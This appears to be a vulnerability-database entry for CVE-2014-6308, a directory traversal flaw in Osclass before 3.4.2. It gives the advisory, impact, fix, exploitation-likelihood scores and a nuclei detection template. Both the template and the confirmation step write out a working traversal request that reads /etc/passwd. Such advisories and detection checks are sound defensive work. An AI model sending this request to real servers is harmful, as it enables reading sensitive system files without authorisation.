CVE-2014-6308· osclass / osclass· CWE-22
Osclass Security Advisory 3.4.1 - Local File Inclusion
mediumseverity
5CVSS score
22.3%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
A directory traversal vulnerability in OSClass before 3.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter in a render action to oc-admin/index.php.
Impact
An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
Fix
Upgrade to a patched version of Osclass (3.4.2 or later) to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2014-6308 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2014-6308
info:
name: Osclass Security Advisory 3.4.1 - Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in OSClass before 3.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter in a render action to oc-admin/index.php.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
remediation: |
Upgrade to a patched version of Osclass (3.4.2 or later) to mitigate the vulnerability.
reference:
- https://packetstormsecurity.com/files/128285/OsClass-3.4.1-Local-File-Inclusion.html
- https://nvd.nist.gov/vuln/detail/CVE-2014-6308
- https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
- https://www.netsparker.com/lfi-vulnerability-in-osclass/
- http://blog.osclass.org/2014/09/15/osclass-3-4-2-ready-download/
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-6308
cwe-id: CWE-22
epss-score: 0.2226
epss-percentile: 0.97701
cpe: cpe:2.3:a:osclass:osclass:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: osclass
product: osclass
tags: cve2014,cve,lfi,packetstorm,osclass,vuln
http:
- method: GET
path:
- "{{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://packetstormsecurity.com/files/128285/OsClass-3.4.1-Local-File-Inclusion.html
- https://nvd.nist.gov/vuln/detail/CVE-2014-6308
- https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
- https://www.netsparker.com/lfi-vulnerability-in-osclass/
- http://blog.osclass.org/2014/09/15/osclass-3-4-2-ready-download/
Use this check only on systems you are authorised to test. Where the data comes from